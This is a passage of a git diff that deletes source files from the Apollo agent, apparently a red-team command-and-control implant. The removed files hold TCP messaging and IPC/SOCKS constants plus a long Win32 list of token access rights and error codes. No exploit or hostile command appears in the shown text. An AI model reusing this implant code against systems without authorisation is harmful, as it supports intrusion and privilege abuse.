pd.Client.Close(); - } - BeginRead(pd); - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Tcp/TcpMessageEventArgs.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Tcp/TcpMessageEventArgs.cs deleted file mode 100644 index aba100b9..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Tcp/TcpMessageEventArgs.cs +++ /dev/null @@ -1,21 +0,0 @@ -using ApolloInterop.Structs.ApolloStructs; -using System; -using System.Net.Sockets; - -namespace ApolloInterop.Classes -{ - public class TcpMessageEventArgs : EventArgs - { - public TcpClient Client; - public IPCData Data; - public Object State; - - public TcpMessageEventArgs(TcpClient client, IPCData? data, Object state) - { - Client = client; - if (data != null) - Data = (IPCData)data; - State = state; - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Constants/IPC.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Constants/IPC.cs deleted file mode 100644 index 552bb44b..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Constants/IPC.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace ApolloInterop.Constants -{ - public static class IPC - { - public const int SEND_SIZE = 30000; - public const int RECV_SIZE = 30000; - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Constants/SOCKS.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Constants/SOCKS.cs deleted file mode 100644 index 9fc9698d..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Constants/SOCKS.cs +++ /dev/null @@ -1,7 +0,0 @@ -namespace ApolloInterop.Constants -{ - public static class SOCKS - { - public const int SUPPORTED_VERSION = 5; - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Constants/Win32.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Constants/Win32.cs deleted file mode 100644 index 6795ac00..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Constants/Win32.cs +++ /dev/null @@ -1,3333 +0,0 @@ -using System.Security.Principal; - -namespace ApolloInterop.Constants -{ - public static class Win32 - { - public const uint STANDARD_RIGHTS_REQUIRED = 0x000F0000; - public const uint TOKEN_ALL_ACCESS_P = (STANDARD_RIGHTS_REQUIRED | - (uint)TokenAccessLevels.AssignPrimary | - (uint)TokenAccessLevels.Duplicate | - (uint)TokenAccessLevels.Impersonate | - (uint)TokenAccessLevels.Query | - (uint)TokenAccessLevels.QuerySource | - (uint)TokenAccessLevels.AdjustPrivileges | - (uint)TokenAccessLevels.AdjustGroups | - (uint)TokenAccessLevels.AdjustDefault); - - public const uint TOKEN_ALL_ACCESS = TOKEN_ALL_ACCESS_P | (uint)TokenAccessLevels.AdjustSessionId; - - public const uint SECURITY_MANDATORY_LOW_RID = 0x00001000; - public const uint SECURITY_MANDATORY_MEDIUM_RID = 0x00002000; - public const uint SECURITY_MANDATORY_HIGH_RID = 0x00003000; - public const uint SECURITY_MANDATORY_SYSTEM_RID = 0x00004000; - - public class Error - { - public const int INVALID_HANDLE_VALUE = -1; - public const int Success = 0; - public const int NERR_Success = 0; - public const uint AccessDenied = 0x0000005; - public const uint NotEnoughMemory = 0x00000008; - public const uint InsufficientBuffer = 0x0000007A; - public const uint MoreData = 0x00000EA; - public const uint NoSuchAlias = 0x0000560; - public const uint RpcServerUnavailable = 0x0006BA; - public const uint NERR_GroupNotFound = 0x00008AC; - public const uint NERR_InvalidComputer = 0x000092F; - public const uint NERR_BufTooSmall = 2123; - - public const int FACILITY_NULL = 0; - public const int FACILITY_RPC = 1; - public const int FACILITY_DISPATCH = 2; - public const int FACILITY_STORAGE = 3; - public const int FACILITY_ITF = 4; - public const int FACILITY_WIN32 = 7; - public const int FACILITY_WINDOWS = 8; - public const int FACILITY_SSPI = 9; - public const int FACILITY_SECURITY = 9; - public const int FACILITY_CONTROL = 10; - public const int FACILITY_CERT = 11; - public const int FACILITY_INTERNET = 12; - public const int FACILITY_MEDIASERVER = 13; - public const int FACILITY_MSMQ = 14; - public const int FACILITY_SETUPAPI = 15; - public const int FACILITY_SCARD = 16; - public const int FACILITY_COMPLUS = 17; - public const int FACILITY_AAF = 18; - public const int FACILITY_URT = 19; - public const int FACILITY_ACS = 20; - public const int FACILITY_DPLAY = 21; - public const int FACILITY_UMI = 22; - public const int FACILITY_SXS = 23; - public const int FACILITY_WINDOWS_CE = 24; - public const int FACILITY_HTTP = 25; - public const int FACILITY_USERMODE_COMMONLOG = 26; - public const int FACILITY_WER = 27; - public const int FACILITY_USERMODE_FILTER_MANAGER = 31; - public const int FACILITY_BACKGROUNDCOPY = 32; - public const int FACILITY_CONFIGURATION = 33; - public const int FACILITY_WIA = 33; - public const int FACILITY_STATE_MANAGEMENT = 34; - public const int FACILITY_METADIRECTORY = 35; - public const int FACILITY_WINDOWSUPDATE = 36; - public const int FACILITY_DIRECTORYSERVICE = 37; - public const int FACILITY_GRAPHICS = 38; - public const int FACILITY_SHELL = 39; - public const int FACILITY_NAP = 39; - public const int FACILITY_TPM_SERVICES = 40; - public const int FACILITY_TPM_SOFTWARE = 41; - public const int FACILITY_UI = 42; - public const int FACILITY_XAML = 43; - public const int FACILITY_ACTION_QUEUE = 44; - public const int FACILITY_PLA = 48; - public const int FACILITY_WINDOWS_SETUP = 48; - public const int FACILITY_FVE = 49; - public const int FACILITY_FWP = 50; - public const int FACILITY_WINRM = 51; - public const int FACILITY_NDIS = 52; - public const int FACILITY_USERMODE_HYPERVISOR = 53; - public const int FACILITY_CMI = 54; - public const int FACILITY_USERMODE_VIRTUALIZATION = 55; - public const int FACILITY_USERMODE_VOLMGR = 56; - public const int FACILITY_BCD = 57; - public const int FACILITY_USERMODE_VHD = 58; - public const int FACILITY_USERMODE_HNS = 59; - public const int FACILITY_SDIAG = 60; - public const int FACILITY_WEBSERVICES = 61; - public const int FACILITY_WINPE = 61; - public const int FACILITY_WPN = 62; - public const int FACILITY_WINDOWS_STORE = 63; - public const int FACILITY_INPUT = 64; - public const int FACILITY_EAP = 66; - public const int FACILITY_WINDOWS_DEFENDER = 80; - public const int FACILITY_OPC = 81; - public const int FACILITY_XPS = 82; - public const int FACILITY_MBN = 84; - public const int FACILITY_POWERSHELL = 84; - public const int FACILITY_RAS = 83; - public const int FACILITY_P2P_INT = 98; - public const int FACILITY_P2P = 99; - public const int FACILITY_DAF = 100; - public const int FACILITY_BLUETOOTH_ATT = 101; - public const int FACILITY_AUDIO = 102; - public const int FACILITY_STATEREPOSITORY = 103; - public const int FACILITY_VISUALCPP = 109; - public const int FACILITY_SCRIPT = 112; - public const int FACILITY_PARSE = 113; - public const int FACILITY_BLB = 120; - public const int FACILITY_BLB_CLI = 121; - public const int FACILITY_WSBAPP = 122; - public const int FACILITY_BLBUI = 128; - public const int FACILITY_USN = 129; - public const int FACILITY_USERMODE_VOLSNAP = 130; - public const int FACILITY_TIERING = 131; - public const int FACILITY_WSB_ONLINE = 133; - public const int FACILITY_ONLINE_ID = 134; - public const int FACILITY_DEVICE_UPDATE_AGENT = 135; - public const int FACILITY_DRVSERVICING = 136; - public const int FACILITY_DLS = 153; - public const int FACILITY_DELIVERY_OPTIMIZATION = 208; - public const int FACILITY_USERMODE_SPACES = 231; - public const int FACILITY_USER_MODE_SECURITY_CORE = 232; - public const int FACILITY_USERMODE_LICENSING = 234; - public const int FACILITY_SOS = 160; - public const int FACILITY_DEBUGGERS = 176; - public const int FACILITY_SPP = 256; - public const int FACILITY_RESTORE = 256; - public const int FACILITY_DMSERVER = 256; - public const int FACILITY_DEPLOYMENT_SERVICES_SERVER = 257; - public const int FACILITY_DEPLOYMENT_SERVICES_IMAGING = 258; - public const int FACILITY_DEPLOYMENT_SERVICES_MANAGEMENT = 259; - public const int FACILITY_DEPLOYMENT_SERVICES_UTIL = 260; - public const int FACILITY_DEPLOYMENT_SERVICES_BINLSVC = 261; - public const int FACILITY_DEPLOYMENT_SERVICES_PXE = 263; - public const int FACILITY_DEPLOYMENT_SERVICES_TFTP = 264; - public const int FACILITY_DEPLOYMENT_SERVICES_TRANSPORT_MANAGEMENT = 272; - public const int FACILITY_DEPLOYMENT_SERVICES_DRIVER_PROVISIONING = 278; - public const int FACILITY_DEPLOYMENT_SERVICES_MULTICAST_SERVER = 289; - public const int FACILITY_DEPLOYMENT_SERVICES_MULTICAST_CLIENT = 290; - public const int FACILITY_DEPLOYMENT_SERVICES_CONTENT_PROVIDER = 293; - public const int FACILITY_LINGUISTIC_SERVICES = 305; - public const int FACILITY_AUDIOSTREAMING = 1094; - public const int FACILITY_ACCELERATOR = 1536; - public const int FACILITY_WMAAECMA = 1996; - public const int FACILITY_DIRECTMUSIC = 2168; - public const int FACILITY_DIRECT3D10 = 2169; - public const int FACILITY_DXGI = 2170; - public const int FACILITY_DXGI_DDI = 2171; - public const int FACILITY_DIRECT3D11 = 2172; - public const int FACILITY_DIRECT3D11_DEBUG = 2173; - public const int FACILITY_DIRECT3D12 = 2174; - public const int FACILITY_DIRECT3D12_DEBUG = 2175; - public const int FACILITY_LEAP = 2184; - public const int FACILITY_AUDCLNT = 2185; - public const int FACILITY_WINCODEC_DWRITE_DWM = 2200; - public const int FACILITY_WINML = 2192; - public const int FACILITY_DIRECT2D = 2201; - public const int FACILITY_DEFRAG = 2304; - public const int FACILITY_USERMODE_SDBUS = 2305; - public const int FACILITY_JSCRIPT = 2306; - public const int FACILITY_PIDGENX = 2561; - public const int FACILITY_EAS = 85; - public const int FACILITY_WEB = 885; - public const int FACILITY_WEB_SOCKET = 886; - public const int FACILITY_MOBILE = 1793; - public const int FACILITY_SQLITE = 1967; - public const int FACILITY_UTC = 1989; - public const int FACILITY_WEP = 2049; - public const int FACILITY_SYNCENGINE = 2050; - public const int FACILITY_XBOX = 2339; - public const int FACILITY_GAME = 2340; - public const int FACILITY_PIX = 2748; - public const int ERROR_SUCCESS = 0; - public const int NO_ERROR = 0; - public const int ERROR_INVALID_FUNCTION = 1; - public const int ERROR_FILE_NOT_FOUND = 2; - public const int ERROR_PATH_NOT_FOUND = 3; - public const int ERROR_TOO_MANY_OPEN_FILES = 4; - public const int ERROR_ACCESS_DENIED = 5; - public const int ERROR_INVALID_HANDLE = 6; - public const int ERROR_ARENA_TRASHED = 7; - public const int ERROR_NOT_ENOUGH_MEMORY = 8; - public const int ERROR_INVALID_BLOCK = 9; - public const int ERROR_BAD_ENVIRONMENT = 10; - public const int ERROR_BAD_FORMAT = 11; - public const int ERROR_INVALID_ACCESS = 12; - public const int ERROR_INVALID_DATA = 13; - public const int ERROR_OUTOFMEMORY = 14; - public const int ERROR_INVALID_DRIVE = 15; - public const int ERROR_CURRENT_DIRECTORY = 16; - public const int ERROR_NOT_SAME_DEVICE = 17; - public const int ERROR_NO_MORE_FILES = 18; - public const int ERROR_WRITE_PROTECT = 19; - public const int ERROR_BAD_UNIT = 20; - public const int ERROR_NOT_READY = 21; - public const int ERROR_BAD_COMMAND = 22; - public const int ERROR_CRC = 23; - public const int ERROR_BAD_LENGTH = 24; - public const int ERROR_SEEK = 25; - public const int ERROR_NOT_DOS_DISK = 26; - public const int ERROR_SECTOR_NOT_FOUND = 27; - public const int ERROR_OUT_OF_PAPER = 28; - public const int ERROR_WRITE_FAULT = 29; - public const int ERROR_READ_FAULT = 30; - public const int ERROR_GEN_FAILURE = 31; - public const int ERROR_SHARING_VIOLATION = 32; - public const int ERROR_LOCK_VIOLATION = 33; - public const int ERROR_WRONG_DISK = 34; - public const int ERROR_SHARING_BUFFER_EXCEEDED = 36; - public const int ERROR_HANDLE_EOF = 38; - public const int ERROR_HANDLE_DISK_FULL = 39; - public const int ERROR_NOT_SUPPORTED = 50; - public const int ERROR_REM_NOT_LIST = 51; - public const int ERROR_DUP_NAME = 52; - public const int ERROR_BAD_NETPATH = 53; - public const int ERROR_NETWORK_BUSY = 54; - public const int ERROR_DEV_NOT_EXIST = 55; - public const int ERROR_TOO_MANY_CMDS = 56; - public const int ERROR_ADAP_HDW_ERR = 57; - public const int ERROR_BAD_NET_RESP = 58; - public const int ERROR_UNEXP_NET_ERR = 59; - public const int ERROR_BAD_REM_ADAP = 60; - public const int ERROR_PRINTQ_FULL = 61; - public const int ERROR_NO_SPOOL_SPACE = 62; - public const int ERROR_PRINT_CANCELLED = 63; - public const int ERROR_NETNAME_DELETED = 64; - public const int ERROR_NETWORK_ACCESS_DENIED = 65; - public const int ERROR_BAD_DEV_TYPE = 66; - public const int ERROR_BAD_NET_NAME = 67; - public const int ERROR_TOO_MANY_NAMES = 68; - public const int ERROR_TOO_MANY_SESS = 69; - public const int ERROR_SHARING_PAUSED = 70; - public const int ERROR_REQ_NOT_ACCEP = 71; - public const int ERROR_REDIR_PAUSED = 72; - public const int ERROR_FILE_EXISTS = 80; - public const int ERROR_CANNOT_MAKE = 82; - public const int ERROR_FAIL_I24 = 83; - public const int ERROR_OUT_OF_STRUCTURES = 84; - public const int ERROR_ALREADY_ASSIGNED = 85; - public const int ERROR_INVALID_PASSWORD = 86; - public const int ERROR_INVALID_PARAMETER = 87; - public const int ERROR_NET_WRITE_FAULT = 88; - public const int ERROR_NO_PROC_SLOTS = 89; - public const int ERROR_TOO_MANY_SEMAPHORES = 100; - public const int ERROR_EXCL_SEM_ALREADY_OWNED = 101; - public const int ERROR_SEM_IS_SET = 102; - public const int ERROR_TOO_MANY_SEM_REQUESTS = 103; - public const int ERROR_INVALID_AT_INTERRUPT_TIME = 104; - public const int ERROR_SEM_OWNER_DIED = 105; - public const int ERROR_SEM_USER_LIMIT = 106; - public const int ERROR_DISK_CHANGE = 107; - public const int ERROR_DRIVE_LOCKED = 108; - public const int ERROR_BROKEN_PIPE = 109; - public const int ERROR_OPEN_FAILED = 110; - public const int ERROR_BUFFER_OVERFLOW = 111; - public const int ERROR_DISK_FULL = 112; - public const int ERROR_NO_MORE_SEARCH_HANDLES = 113; - public const int ERROR_INVALID_TARGET_HANDLE = 114; - public const int ERROR_INVALID_CATEGORY = 117; - public const int ERROR_INVALID_VERIFY_SWITCH = 118; - public const int ERROR_BAD_DRIVER_LEVEL = 119; - public const int ERROR_CALL_NOT_IMPLEMENTED = 120; - public const int ERROR_SEM_TIMEOUT = 121; - public const int ERROR_INSUFFICIENT_BUFFER = 122; - public const int ERROR_INVALID_NAME = 123; - public const int ERROR_INVALID_LEVEL = 124; - public const int ERROR_NO_VOLUME_LABEL = 125; - public const int ERROR_MOD_NOT_FOUND = 126; - public const int ERROR_PROC_NOT_FOUND = 127; - public const int ERROR_WAIT_NO_CHILDREN = 128; - public const int ERROR_CHILD_NOT_COMPLETE = 129; - public const int ERROR_DIRECT_ACCESS_HANDLE = 130; - public const int ERROR_NEGATIVE_SEEK = 131; - public const int ERROR_SEEK_ON_DEVICE = 132; - public const int ERROR_IS_JOIN_TARGET = 133; - public const int ERROR_IS_JOINED = 134; - public const int ERROR_IS_SUBSTED = 135; - public const int ERROR_NOT_JOINED = 136; - public const int ERROR_NOT_SUBSTED = 137; - public const int ERROR_JOIN_TO_JOIN = 138; - public const int ERROR_SUBST_TO_SUBST = 139; - public const int ERROR_JOIN_TO_SUBST = 140; - public const int ERROR_SUBST_TO_JOIN = 141; - public const int ERROR_BUSY_DRIVE = 142; - public const int ERROR_SAME_DRIVE = 143; - public const int ERROR_DIR_NOT_ROOT = 144; - public const int ERROR_DIR_NOT_EMPTY = 145; - public const int ERROR_IS_SUBST_PATH = 146; - public const int ERROR_IS_JOIN_PATH = 147; - public const int ERROR_PATH_BUSY = 148; - public const int ERROR_IS_SUBST_TARGET = 149; - public const int ERROR_SYSTEM_TRACE = 150; - public const int ERROR_INVALID_EVENT_COUNT = 151; - public const int ERROR_TOO_MANY_MUXWAITERS = 152; - public const int ERROR_INVALID_LIST_FORMAT = 153; - public const int ERROR_LABEL_TOO_LONG = 154; - public const int ERROR_TOO_MANY_TCBS = 155; - public const int ERROR_SIGNAL_REFUSED = 156; - public const int ERROR_DISCARDED = 157; - public const int ERROR_NOT_LOCKED = 158; - public const int ERROR_BAD_THREADID_ADDR = 159; - public const int ERROR_BAD_ARGUMENTS = 160; - public const int ERROR_BAD_PATHNAME = 161; - public const int ERROR_SIGNAL_PENDING = 162; - public const int ERROR_MAX_THRDS_REACHED = 164; - public const int ERROR_LOCK_FAILED = 167; - public const int ERROR_BUSY = 170; - public const int ERROR_DEVICE_SUPPORT_IN_PROGRESS = 171; - public const int ERROR_CANCEL_VIOLATION = 173; - public const int ERROR_ATOMIC_LOCKS_NOT_SUPPORTED = 174; - public const int ERROR_INVALID_SEGMENT_NUMBER = 180; - public const int ERROR_INVALID_ORDINAL = 182; - public const int ERROR_ALREADY_EXISTS = 183; - public const int ERROR_INVALID_FLAG_NUMBER = 186; - public const int ERROR_SEM_NOT_FOUND = 187; - public const int ERROR_INVALID_STARTING_CODESEG = 188; - public const int ERROR_INVALID_STACKSEG = 189; - public const int ERROR_INVALID_MODULETYPE = 190; - public const int ERROR_INVALID_EXE_SIGNATURE = 191; - public const int ERROR_EXE_MARKED_INVALID = 192; - public const int ERROR_BAD_EXE_FORMAT = 193; - public const int ERROR_ITERATED_DATA_EXCEEDS_64k = 194; - public const int ERROR_INVALID_MINALLOCSIZE = 195; - public const int ERROR_DYNLINK_FROM_INVALID_RING = 196; - public const int ERROR_IOPL_NOT_ENABLED = 197; - public const int ERROR_INVALID_SEGDPL = 198; - public const int ERROR_AUTODATASEG_EXCEEDS_64k = 199; - public const int ERROR_RING2SEG_MUST_BE_MOVABLE = 200; - public const int ERROR_RELOC_CHAIN_XEEDS_SEGLIM = 201; - public const int ERROR_INFLOOP_IN_RELOC_CHAIN = 202; - public const int ERROR_ENVVAR_NOT_FOUND = 203; - public const int ERROR_NO_SIGNAL_SENT = 205; - public const int ERROR_FILENAME_EXCED_RANGE = 206; - public const int ERROR_RING2_STACK_IN_USE = 207; - public const int ERROR_META_EXPANSION_TOO_LONG = 208; - public const int ERROR_INVALID_SIGNAL_NUMBER = 209; - public const int ERROR_THREAD_1_INACTIVE = 210; - public const int ERROR_LOCKED = 212; - public const int ERROR_TOO_MANY_MODULES = 214; - public const int ERROR_NESTING_NOT_ALLOWED = 215; - public const int ERROR_EXE_MACHINE_TYPE_MISMATCH = 216; - public const int ERROR_EXE_CANNOT_MODIFY_SIGNED_BINARY = 217; - public const int ERROR_EXE_CANNOT_MODIFY_STRONG_SIGNED_BINARY = 218; - public const int ERROR_FILE_CHECKED_OUT = 220; - public const int ERROR_CHECKOUT_REQUIRED = 221; - public const int ERROR_BAD_FILE_TYPE = 222; - public const int ERROR_FILE_TOO_LARGE = 223; - public const int ERROR_FORMS_AUTH_REQUIRED = 224; - public const int ERROR_VIRUS_INFECTED = 225; - public const int ERROR_VIRUS_DELETED = 226; - public const int ERROR_PIPE_LOCAL = 229; - public const int ERROR_BAD_PIPE = 230; - public const int ERROR_PIPE_BUSY = 231; - public const int ERROR_NO_DATA = 232; - public const int ERROR_PIPE_NOT_CONNECTED = 233; - public const int ERROR_MORE_DATA = 234; - public const int ERROR_NO_WORK_DONE = 235; - public const int ERROR_VC_DISCONNECTED = 240; - public const int ERROR_INVALID_EA_NAME = 254; - public const int ERROR_EA_LIST_INCONSISTENT = 255; - public const int WAIT_TIMEOUT = 258; - public const int ERROR_NO_MORE_ITEMS = 259; - public const int ERROR_CANNOT_COPY = 266; - public const int ERROR_DIRECTORY = 267; - public const int ERROR_EAS_DIDNT_FIT = 275; - public const int ERROR_EA_FILE_CORRUPT = 276; - public const int ERROR_EA_TABLE_FULL = 277; - public const int ERROR_INVALID_EA_HANDLE = 278; - public const int ERROR_EAS_NOT_SUPPORTED = 282; - public const int ERROR_NOT_OWNER = 288; - public const int ERROR_TOO_MANY_POSTS = 298; - public const int ERROR_PARTIAL_COPY = 299; - public const int ERROR_OPLOCK_NOT_GRANTED = 300; - public const int ERROR_INVALID_OPLOCK_PROTOCOL = 301; - public const int ERROR_DISK_TOO_FRAGMENTED = 302; - public const int ERROR_DELETE_PENDING = 303; - public const int ERROR_INCOMPATIBLE_WITH_GLOBAL_SHORT_NAME_REGISTRY_SETTING = 304; - public const int ERROR_SHORT_NAMES_NOT_ENABLED_ON_VOLUME = 305; - public const int ERROR_SECURITY_STREAM_IS_INCONSISTENT = 306; - public const int ERROR_INVALID_LOCK_RANGE = 307; - public const int ERROR_IMAGE_SUBSYSTEM_NOT_PRESENT = 308; - public const int ERROR_NOTIFICATION_GUID_ALREADY_DEFINED = 309; - public const int ERROR_INVALID_EXCEPTION_HANDLER = 310; - public const int ERROR_DUPLICATE_PRIVILEGES = 311; - public const int ERROR_NO_RANGES_PROCESSED = 312; - public const int ERROR_NOT_ALLOWED_ON_SYSTEM_FILE = 313; - public const int ERROR_DISK_RESOURCES_EXHAUSTED = 314; - public const int ERROR_INVALID_TOKEN = 315; - public const int ERROR_DEVICE_FEATURE_NOT_SUPPORTED = 316; - public const int ERROR_MR_MID_NOT_FOUND = 317; - public const int ERROR_SCOPE_NOT_FOUND = 318; - public const int ERROR_UNDEFINED_SCOPE = 319; - public const int ERROR_INVALID_CAP = 320; - public const int ERROR_DEVICE_UNREACHABLE = 321; - public const int ERROR_DEVICE_NO_RESOURCES = 322; - public const int ERROR_DATA_CHECKSUM_ERROR = 323; - public const int ERROR_INTERMIXED_KERNEL_EA_OPERATION = 324; - public const int ERROR_FILE_LEVEL_TRIM_NOT_SUPPORTED = 326; - public const int ERROR_OFFSET_ALIGNMENT_VIOLATION = 327; - public const int ERROR_INVALID_FIELD_IN_PARAMETER_LIST = 328; - public const int ERROR_OPERATION_IN_PROGRESS = 329; - public const int ERROR_BAD_DEVICE_PATH = 330; - public const int ERROR_TOO_MANY_DESCRIPTORS = 331; - public const int ERROR_SCRUB_DATA_DISABLED = 332; - public const int ERROR_NOT_REDUNDANT_STORAGE = 333; - public const int ERROR_RESIDENT_FILE_NOT_SUPPORTED = 334; - public const int ERROR_COMPRESSED_FILE_NOT_SUPPORTED = 335; - public const int ERROR_DIRECTORY_NOT_SUPPORTED = 336; - public const int ERROR_NOT_READ_FROM_COPY = 337; - public const int ERROR_FT_WRITE_FAILURE = 338; - public const int ERROR_FT_DI_SCAN_REQUIRED = 339; - public const int ERROR_INVALID_KERNEL_INFO_VERSION = 340; - public const int ERROR_INVALID_PEP_INFO_VERSION = 341; - public const int ERROR_OBJECT_NOT_EXTERNALLY_BACKED = 342; - public const int ERROR_EXTERNAL_BACKING_PROVIDER_UNKNOWN = 343; - public const int ERROR_COMPRESSION_NOT_BENEFICIAL = 344; - public const int ERROR_STORAGE_TOPOLOGY_ID_MISMATCH = 345; - public const int ERROR_BLOCKED_BY_PARENTAL_CONTROLS = 346; - public const int ERROR_BLOCK_TOO_MANY_REFERENCES = 347; - public const int ERROR_MARKED_TO_DISALLOW_WRITES = 348; - public const int ERROR_ENCLAVE_FAILURE = 349; - public const int ERROR_FAIL_NOACTION_REBOOT = 350; - public const int ERROR_FAIL_SHUTDOWN = 351; - public const int ERROR_FAIL_RESTART = 352; - public const int ERROR_MAX_SESSIONS_REACHED = 353; - public const int ERROR_NETWORK_ACCESS_DENIED_EDP = 354; - public const int ERROR_DEVICE_HINT_NAME_BUFFER_TOO_SMALL = 355; - public const int ERROR_EDP_POLICY_DENIES_OPERATION = 356; - public const int ERROR_EDP_DPL_POLICY_CANT_BE_SATISFIED = 357; - public const int ERROR_CLOUD_FILE_SYNC_ROOT_METADATA_CORRUPT = 358; - public const int ERROR_DEVICE_IN_MAINTENANCE = 359; - public const int ERROR_NOT_SUPPORTED_ON_DAX = 360; - public const int ERROR_DAX_MAPPING_EXISTS = 361; - public const int ERROR_CLOUD_FILE_PROVIDER_NOT_RUNNING = 362; - public const int ERROR_CLOUD_FILE_METADATA_CORRUPT = 363; - public const int ERROR_CLOUD_FILE_METADATA_TOO_LARGE = 364; - public const int ERROR_CLOUD_FILE_PROPERTY_BLOB_TOO_LARGE = 365; - public const int ERROR_CLOUD_FILE_PROPERTY_BLOB_CHECKSUM_MISMATCH = 366; - public const int ERROR_CHILD_PROCESS_BLOCKED = 367; - public const int ERROR_STORAGE_LOST_DATA_PERSISTENCE = 368; - public const int ERROR_FILE_SYSTEM_VIRTUALIZATION_UNAVAILABLE = 369; - public const int ERROR_FILE_SYSTEM_VIRTUALIZATION_METADATA_CORRUPT = 370; - public const int ERROR_FILE_SYSTEM_VIRTUALIZATION_BUSY = 371; - public const int ERROR_FILE_SYSTEM_VIRTUALIZATION_PROVIDER_UNKNOWN = 372; - public const int ERROR_GDI_HANDLE_LEAK = 373; - public const int ERROR_CLOUD_FILE_TOO_MANY_PROPERTY_BLOBS = 374; - public const int ERROR_CLOUD_FILE_PROPERTY_VERSION_NOT_SUPPORTED = 375; - public const int ERROR_NOT_A_CLOUD_FILE = 376; - public const int ERROR_CLOUD_FILE_NOT_IN_SYNC = 377; - public const int ERROR_CLOUD_FILE_ALREADY_CONNECTED = 378; - public const int ERROR_CLOUD_FILE_NOT_SUPPORTED = 379; - public const int ERROR_CLOUD_FILE_INVALID_REQUEST = 380; - public const int ERROR_CLOUD_FILE_READ_ONLY_VOLUME = 381; - public const int ERROR_CLOUD_FILE_CONNECTED_PROVIDER_ONLY = 382; - public const int ERROR_CLOUD_FILE_VALIDATION_FAILED = 383; - public const int ERROR_SMB1_NOT_AVAILABLE = 384; - public const int ERROR_FILE_SYSTEM_VIRTUALIZATION_INVALID_OPERATION = 385; - public const int ERROR_CLOUD_FILE_AUTHENTICATION_FAILED = 386; - public const int ERROR_CLOUD_FILE_INSUFFICIENT_RESOURCES = 387; - public const int ERROR_CLOUD_FILE_NETWORK_UNAVAILABLE = 388; - public const int ERROR_CLOUD_FILE_UNSUCCESSFUL = 389; - public const int ERROR_CLOUD_FILE_NOT_UNDER_SYNC_ROOT = 390; - public const int ERROR_CLOUD_FILE_IN_USE = 391; - public const int ERROR_CLOUD_FILE_PINNED = 392; - public const int ERROR_CLOUD_FILE_REQUEST_ABORTED = 393; - public const int ERROR_CLOUD_FILE_PROPERTY_CORRUPT = 394; - public const int ERROR_CLOUD_FILE_ACCESS_DENIED = 395; - public const int ERROR_CLOUD_FILE_INCOMPATIBLE_HARDLINKS = 396; - public const int ERROR_CLOUD_FILE_PROPERTY_LOCK_CONFLICT = 397; - public const int ERROR_CLOUD_FILE_REQUEST_CANCELED = 398; - public const int ERROR_EXTERNAL_SYSKEY_NOT_SUPPORTED = 399; - public const int ERROR_THREAD_MODE_ALREADY_BACKGROUND = 400; - public const int ERROR_THREAD_MODE_NOT_BACKGROUND = 401; - public const int ERROR_PROCESS_MODE_ALREADY_BACKGROUND = 402; - public const int ERROR_PROCESS_MODE_NOT_BACKGROUND = 403; - public const int ERROR_CLOUD_FILE_PROVIDER_TERMINATED = 404; - public const int ERROR_NOT_A_CLOUD_SYNC_ROOT = 405; - public const int ERROR_FILE_PROTECTED_UNDER_DPL = 406; - public const int ERROR_VOLUME_NOT_CLUSTER_ALIGNED = 407; - public const int ERROR_NO_PHYSICALLY_ALIGNED_FREE_SPACE_FOUND = 408; - public const int ERROR_APPX_FILE_NOT_ENCRYPTED = 409; - public const int ERROR_RWRAW_ENCRYPTED_FILE_NOT_ENCRYPTED = 410; - public const int ERROR_RWRAW_ENCRYPTED_INVALID_EDATAINFO_FILEOFFSET = 411; - public const int ERROR_RWRAW_ENCRYPTED_INVALID_EDATAINFO_FILERANGE = 412; - public const int ERROR_RWRAW_ENCRYPTED_INVALID_EDATAINFO_PARAMETER = 413; - public const int ERROR_LINUX_SUBSYSTEM_NOT_PRESENT = 414; - public const int ERROR_FT_READ_FAILURE = 415; - public const int ERROR_STORAGE_RESERVE_ID_INVALID = 416; - public const int ERROR_STORAGE_RESERVE_DOES_NOT_EXIST = 417; - public const int ERROR_STORAGE_RESERVE_ALREADY_EXISTS = 418; - public const int ERROR_STORAGE_RESERVE_NOT_EMPTY = 419; - public const int ERROR_NOT_A_DAX_VOLUME = 420; - public const int ERROR_NOT_DAX_MAPPABLE = 421; - public const int ERROR_TIME_SENSITIVE_THREAD = 422; - public const int ERROR_DPL_NOT_SUPPORTED_FOR_USER = 423; - public const int ERROR_CASE_DIFFERING_NAMES_IN_DIR = 424; - public const int ERROR_FILE_NOT_SUPPORTED = 425; - public const int ERROR_CLOUD_FILE_REQUEST_TIMEOUT = 426; - public const int ERROR_NO_TASK_QUEUE = 427; - public const int ERROR_SRC_SRV_DLL_LOAD_FAILED = 428; - public const int ERROR_NOT_SUPPORTED_WITH_BTT = 429; - public const int ERROR_ENCRYPTION_DISABLED = 430; - public const int ERROR_ENCRYPTING_METADATA_DISALLOWED = 431; - public const int ERROR_CANT_CLEAR_ENCRYPTION_FLAG = 432; - public const int ERROR_NO_SUCH_DEVICE = 433; - public const int ERROR_CAPAUTHZ_NOT_DEVUNLOCKED = 450; - public const int ERROR_CAPAUTHZ_CHANGE_TYPE = 451; - public const int ERROR_CAPAUTHZ_NOT_PROVISIONED = 452; - public const int ERROR_CAPAUTHZ_NOT_AUTHORIZED = 453; - public const int ERROR_CAPAUTHZ_NO_POLICY = 454; - public const int ERROR_CAPAUTHZ_DB_CORRUPTED = 455; - public const int ERROR_CAPAUTHZ_SCCD_INVALID_CATALOG = 456; - public const int ERROR_CAPAUTHZ_SCCD_NO_AUTH_ENTITY = 457; - public const int ERROR_CAPAUTHZ_SCCD_PARSE_ERROR = 458; - public const int ERROR_CAPAUTHZ_SCCD_DEV_MODE_REQUIRED = 459; - public const int ERROR_CAPAUTHZ_SCCD_NO_CAPABILITY_MATCH = 460; - public const int ERROR_PNP_QUERY_REMOVE_DEVICE_TIMEOUT = 480; - public const int 